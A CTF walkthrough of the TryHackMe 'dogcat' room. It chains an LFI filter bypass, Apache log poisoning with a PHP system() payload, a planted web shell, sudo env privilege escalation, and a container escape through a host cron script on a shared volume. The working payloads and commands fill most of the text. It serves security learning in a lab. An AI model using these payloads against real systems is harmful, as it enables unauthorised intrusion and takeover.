9 min read

TryHackMe dogcat Writeup: LFI to Container Escape

TryHackMe dogcat Writeup: LFI to Container Escape

Room Info

  • Platform: TryHackMe
  • Room name: dogcat
  • Difficulty: Medium
  • Goal: Capture all 4 flags
  • Link: https://tryhackme.com/room/dogcat
  • Note: For this box I had an in-depth discussion with Claude AI about the container escape vulnerability, and I've folded that into the writeup as well. I hope it helps you follow along, since this was also the first box I'd ever tackled that involved a container escape!

Reconnaissance

Initial Access

Visiting the site at http://10.201.126.43/, I found a simple dog-and-cat image gallery:

<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<a href="/?view=dog"><button>A dog</button></a>
<a href="/?view=cat"><button>A cat</button></a>

Step 1: Discovering a Local File Inclusion (LFI) Vulnerability

1.1 Testing basic LFI
Let's try a basic path traversal:

/?view=../../../../etc/passwd

Result: Sorry, only dogs or cats are allowed.

Analysis: There's a filter in place — the input must contain the string "dog" or "cat".

1.2 Recon via error messages
Let's try to trigger an error message:

/?view=dog'

Error message:

Warning: include(dog'.php): failed to open stream: No such file or directory
in /var/www/html/index.php on line 24

Key findings:

  1. The backend uses the include() function
  2. It automatically appends a .php extension
  3. The file lives at /var/www/html/index.php

Step 2: Bypassing Multiple Layers of Filtering

2.1 Bypassing the keyword check
Attempt 1: path traversal while keeping the keyword

/?view=dog/../../../../../etc/passwd

Result:

Warning: include(dog/../../../../../etc/passwd.php): failed to open stream

✅ Successfully bypassed the "dog/cat" check
❌ But a .php extension is still being appended

2.2 Bypassing the .php extension restriction
Attempt 2: use a PHP filter to read the source

/?view=php://filter/convert.base64-encode/resource=dog/../index

Success! It returned the base64-encoded source.

After decoding, we get the core code:

<?php
function containsStr($str, $substr) {
    return strpos($str, $substr) !== false;
}

// Key: the ext parameter is attacker-controlled!
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';

if(isset($_GET['view'])) {
    if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
        echo 'Here you go!';
        include $_GET['view'] . $ext;
    } else {
        echo 'Sorry, only dogs or cats are allowed.';
    }
}
?>

Major discovery: the ext parameter can override the default .php extension!

2.3 Full bypass — reading arbitrary files
Final payload:

/?view=dog/../../../../../etc/passwd&ext=

Set ext= to an empty string, and .php won't be appended anymore!

Successfully read /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Step 3: Log Poisoning Attack

3.1 Reading the Apache log

/?view=dog/../../../../../var/log/apache2/access.log&ext=

Success! We can see the log contents, including every HTTP request record.

3.2 Log poisoning — injecting PHP code
The idea: the Apache log records the User-Agent, so we can inject PHP code into the User-Agent header.

Inject it locally with curl:

curl "http://10.201.126.43/" -A "<?php system(\$_GET['cmd']); ?>"

Check the log:

/?view=dog/../../../../../var/log/apache2/access.log&ext=

You'll see our PHP code recorded in the log!

3.3 Testing command execution

/?view=dog/../../../../../var/log/apache2/access.log&ext=&cmd=id

Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE achieved!

Step 4: Setting Up a Persistent Web Shell

4.1 Creating a shell file
To make life easier, let's create a persistent web shell:

/?view=dog/../../../../../var/log/apache2/access.log&ext=&cmd=echo '<?php system($_GET["c"]); ?>' > /var/www/html/shell.php

4.2 Using the web shell
Now we can hit it directly:

http://10.201.126.43/shell.php?c=whoami
http://10.201.126.43/shell.php?c=ls -la /var/www/html

A much more convenient way to run commands!

Step 5: Capturing Flag 1

With the web shell in place, list the site directory:

http://10.201.126.43/shell.php?c=ls -la /var/www/html

Found:

-rw-r--r-- 1 www-data www-data 51 Mar 6 2020 flag.php

Read flag.php:

http://10.201.126.43/shell.php?c=cat /var/www/html/flag.php

Flag 1: THM{Redacted}

Step 6: Capturing Flag 2

Search for flag files

http://10.201.126.43/shell.php?c=find /var/www -name "*flag*"

Found: /var/www/flag2_QMW7JvaY2LvK.txt

Read it:

http://10.201.126.43/shell.php?c=cat /var/www/flag2_QMW7JvaY2LvK.txt

Flag 2: THM{Redacted}

Step 7: Privilege Escalation to Root Inside the Container

7.1 Check sudo privileges

http://10.201.126.43/shell.php?c=sudo -l

Output:

Matching Defaults entries for www-data on ad9cebb53160:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on ad9cebb53160:
    (root) NOPASSWD: /usr/bin/env

Major discovery: we can run /usr/bin/env without a password!

7.2 Escalating via env
/usr/bin/env can be used to run arbitrary commands — and here it runs them as root!

Reference: GTFOBins - env

Test the escalation:

http://10.201.126.43/shell.php?c=sudo /usr/bin/env /bin/bash -c 'whoami'

Output: root

Now every command can be run as root!

7.3 Capturing Flag 3

http://10.201.126.43/shell.php?c=sudo /usr/bin/env /bin/bash -c 'ls -la /root'
http://10.201.126.43/shell.php?c=sudo /usr/bin/env /bin/bash -c 'cat /root/flag3.txt'

Flag 3: THM{Redacted}

Step 8: Container Escape — Understanding the Environment

8.1 Confirm we're inside a Docker container

http://10.201.126.43/shell.php?c=ls -la /

Found: the .dockerenv file exists

http://10.201.126.43/shell.php?c=hostname

Output: ad9cebb53160 (the classic container-ID format)

Confirmed: we're inside a Docker container!

8.2 What Is a Container?

Containers vs. virtual machines

VM architecture:
┌─────────────────────────────────────────────────┐
│  App A   │  App B   │  App C                     │
│─────────│─────────│─────────                   │
│ Guest OS│ Guest OS│ Guest OS (3 full OSes)      │
├─────────────────────────────────────────────────┤
│        Hypervisor (VMware, VirtualBox)          │
├─────────────────────────────────────────────────┤
│        Host OS                                   │
└─────────────────────────────────────────────────┘

Container architecture:
┌─────────────────────────────────────────────────┐
│  App A   │  App B   │  App C (app layer only)    │
├─────────────────────────────────────────────────┤
│        Docker Engine                            │
├─────────────────────────────────────────────────┤
│        Host OS  ← shared kernel!                 │
└─────────────────────────────────────────────────┘

Key difference:

  • VMs: each has a full OS, fully isolated
  • Containers: share the host's kernel — it's really just process isolation

8.3 The container's isolation mechanisms
Docker relies on two Linux features to achieve isolation:

1. Namespaces

They make each container believe it's a standalone system.

2. Cgroups (control groups)

They limit the resources a container can use.

But fundamentally: a container is just a special process on the host!

8.4 What is a container escape?
Definition: breaking out of the container's isolation to gain control of the host machine.

Normal situation:
┌────────────────────────────────────┐
│         Host                        │
│                                    │
│  ┌──────────────────────────┐     │
│  │  Container                │     │
│  │                          │     │
│  │  You are here (container root) │
│  │  ✗ Can't access the host  │     │
│  │                          │     │
│  └──────────────────────────┘     │
│                                    │
│  The real root and flag4 are here! │
└────────────────────────────────────┘

After a container escape:
┌────────────────────────────────────┐
│         Host                        │
│                                    │
│  ✓ You broke out!                   │
│  ✓ You can access the host now!     │
│  ✓ You can read /root/flag4.txt!    │
└────────────────────────────────────┘

Step 9: Thorough Environment Recon

Before attempting to escape, we need to fully assess which escape vectors might be available.

9.1 Check for a privileged container

http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /proc/self/status | grep CapEff

Output: CapEff: 00000000a80425fb

Analysis:

  • A privileged container's value should be 0000003fffffffff
  • Ours is different → not a privileged container

9.2 Check for the Docker socket

http://10.201.126.43/shell.php?c=sudo /usr/bin/env ls -la /var/run/docker.sock

Result: the file doesn't exist → no Docker socket

9.3 Check the kernel version

http://10.201.126.43/shell.php?c=uname -r

Output: 4.15.0-96-generic

Analysis:

  • An Ubuntu 18.04 kernel
  • Version > 4.8.3 → the Dirty COW vulnerability doesn't apply ❌

9.4 Check capabilities in detail

http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /proc/self/status

Analysis:

CapEff: 00000000a80425fb

Capabilities we have after decoding:
- CAP_CHOWN
- CAP_DAC_OVERRIDE
- CAP_FOWNER
- CAP_SETGID / CAP_SETUID
- CAP_NET_BIND_SERVICE
... (the default Docker set)

Dangerous capabilities we DON'T have:
❌ CAP_SYS_ADMIN (can't do a cgroup escape)
❌ CAP_SYS_MODULE (can't load kernel modules)
❌ CAP_SYS_PTRACE (can't trace processes)

9.5 Check mount points

http://10.201.126.43/shell.php?c=sudo /usr/bin/env mount | grep -v "proc\|sys\|dev"

Found:

overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/...)

Analysis: a standard Docker overlay filesystem

9.6 Recon summary

╔════════════════════════════════════════════╗
║    Container Escape Assessment Report     ║
╠════════════════════════════════════════════╣
║ Privileged container       │ ❌ No         ║
║ Docker socket mounted      │ ❌ No         ║
║ CAP_SYS_ADMIN             │ ❌ No         ║
║ CAP_SYS_MODULE            │ ❌ No         ║
║ Kernel exploit (Dirty COW) │ ❌ Too new    ║
║ Volume mount              │ ? TBD        ║
╠════════════════════════════════════════════╣
║ Verdict: this is a well-configured container║
║ We need to find another escape path        ║
╚════════════════════════════════════════════╝

Step 10: Finding the Container Escape Point

10.1 Check suspicious directories

http://10.201.126.43/shell.php?c=sudo /usr/bin/env ls -la /opt

Found:

drwxr-xr-x 2 root root 4096 Apr 8 2020 backups

Suspicious: in a minimal container, /opt/backups is very unusual!

10.2 Check the backups directory

http://10.201.126.43/shell.php?c=sudo /usr/bin/env ls -la /opt/backups

Output:

total 2892
drwxr-xr-x 2 root root    4096 Apr  8  2020 .
drwxr-xr-x 1 root root    4096 Oct 13 07:17 ..
-rwxr--r-- 1 root root      69 Mar 10  2020 backup.sh
-rw-r--r-- 1 root root 2949120 Oct 13 07:42 backup.tar

Key observations:

  • backup.tar is timestamped 07:42
  • The container started at 07:17
  • This means something is continually updating that file!

10.3 Analyze backup.sh

http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /opt/backups/backup.sh

Contents:

#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container

Important findings:

  • The script lives in the container at /opt/backups/backup.sh
  • But its target path is /root/container/backup/backup.tar
  • That path doesn't exist inside the container!

Conclusion: this script is being executed by the host!

Step 11: Understanding the Volume Mount Escape

11.1 How a Docker volume mount works
The command used to start the container (our guess):

docker run -v /root/container/backup:/opt/backups ...
              ↑host path          ↑path inside container

Effect: both paths point to the same physical location

Host filesystem              Container filesystem
──────────────────           ──────────────────
/root/                       /opt/
  └─ container/                └─ backups/  ← mapped here
      └─ backup/  ───────────────────────┘
          ├─ backup.sh       (the same file)
          └─ backup.tar

11.2 The host's cron job
The host has a scheduled task:

# /etc/crontab (on the host)
* * * * * root /root/container/backup/backup.sh
         ↑                      ↑
      as root         runs once every minute

11.3 Attack flow diagram

┌─────────────────────────────────────────────────┐
│              Container                            │
│                                                 │
│  1. We modify backup.sh                          │
│     echo "malicious command" >> /opt/backups/backup.sh   │
│                                                 │
│     /opt/backups/backup.sh                      │
│          │                                      │
│          │ (Docker volume mount)                │
│          ↓                                      │
└─────────────────────────────────────────────────┘
           │
           │ the same file
           ↓
┌─────────────────────────────────────────────────┐
│              Host                                │
│                                                 │
│     /root/container/backup/backup.sh            │
│          │                                      │
│          │ 2. Cron runs this script on schedule │
│          ↓                                      │
│     Executed as the host's root!                │
│          │                                      │
│          │ 3. Our injected command runs         │
│          ↓                                      │
│     cat /root/flag4.txt > /root/.../flag4.txt   │
│          │                                      │
│          │ (Docker volume mount)                │
│          ↓                                      │
└─────────────────────────────────────────────────┘
           │
           │ the same file
           ↓
┌─────────────────────────────────────────────────┐
│              Container                            │
│                                                 │
│  4. We read the result                          │
│     cat /opt/backups/flag4.txt                  │
│                                                 │
│  Container escape complete!                      │
└─────────────────────────────────────────────────┘

Step 12: Executing the Container Escape

12.1 Probe the host environment
Inject a command into the script:

http://10.201.126.43/shell.php?c=sudo /usr/bin/env bash -c 'echo "ls -la /root > /root/container/backup/host_root.txt" >> /opt/backups/backup.sh'

Confirm the change:

http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /opt/backups/backup.sh

New contents:

#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
ls -la /root > /root/container/backup/host_root.txt

12.2 Wait for cron to run
Wait 1–2 minutes (the host's cron typically runs once a minute).

12.3 Read the host information

http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /opt/backups/host_root.txt

Successful output (the host's /root directory):

total 40
drwx------ 6 root root 4096 Apr  8  2020 .
drwxr-xr-x 24 root root 4096 Apr  8  2020 ..
-rw-r--r-- 1 root root 3106 Apr  9  2018 .bashrc
drwxr-xr-x 5 root root 4096 Mar 10  2020 container
-rw-r--r-- 1 root root   80 Mar 10  2020 flag4.txt    ← found it!
...

Container escape successful! We can now read files on the host!

12.4 Capture the final flag
Modify the script to read flag4:

http://10.201.126.43/shell.php?c=sudo /usr/bin/env bash -c 'echo "cat /root/flag4.txt > /root/container/backup/flag4_content.txt" >> /opt/backups/backup.sh'

Wait for it to run, then read it:

http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /opt/backups/flag4_content.txt

Flag 4: THM{Redacted}

Deep Dive Into the Key Techniques

1. Local File Inclusion (LFI) Vulnerability

How it works

// Insecure code
include $_GET['file'] . '.php';

// An attacker can:
// 1. Path traversal: ?file=../../../etc/passwd
// 2. Use a wrapper: ?file=php://filter/...

2. Log Poisoning Attack

The attack flow

1. Use LFI to read a log file
   ↓
2. Inject PHP code into the log
   (via User-Agent, Referrer, Cookie, etc.)
   ↓
3. Include the log file again
   ↓
4. The PHP code executes → RCE

Common log locations

# Apache
/var/log/apache2/access.log
/var/log/apache2/error.log

# Nginx
/var/log/nginx/access.log
/var/log/nginx/error.log

# SSH
/var/log/auth.log

# Mail
/var/log/mail.log

3. Sudo Privilege Escalation — /usr/bin/env

Why is it dangerous?

/usr/bin/env is designed to run commands:

env VARIABLE=value command args

When you have sudo rights over it:

sudo /usr/bin/env /bin/bash
# You get a root shell directly!

4. Container Escape Techniques

Volume mount escape (the method used here)

Scenario:

# When the container is started
docker run -v /host/path:/container/path ...

Conditions:

  1. The host has a scheduled task that runs a script inside the mounted directory
  2. The container can modify that script

Exploitation:

  1. Modify the shared script
  2. Wait for the host to execute it
  3. The command runs on the host

Pros: no special privileges required
Cons: you have to wait for the scheduled task to fire

Lessons Learned

What makes this box valuable to learn from:

  1. Progressive attack chain: Web → RCE → privesc → escape
  2. Conceptual understanding: grasping that a container is not a VM
  3. Real-world relevance: volume mounts are a common misconfiguration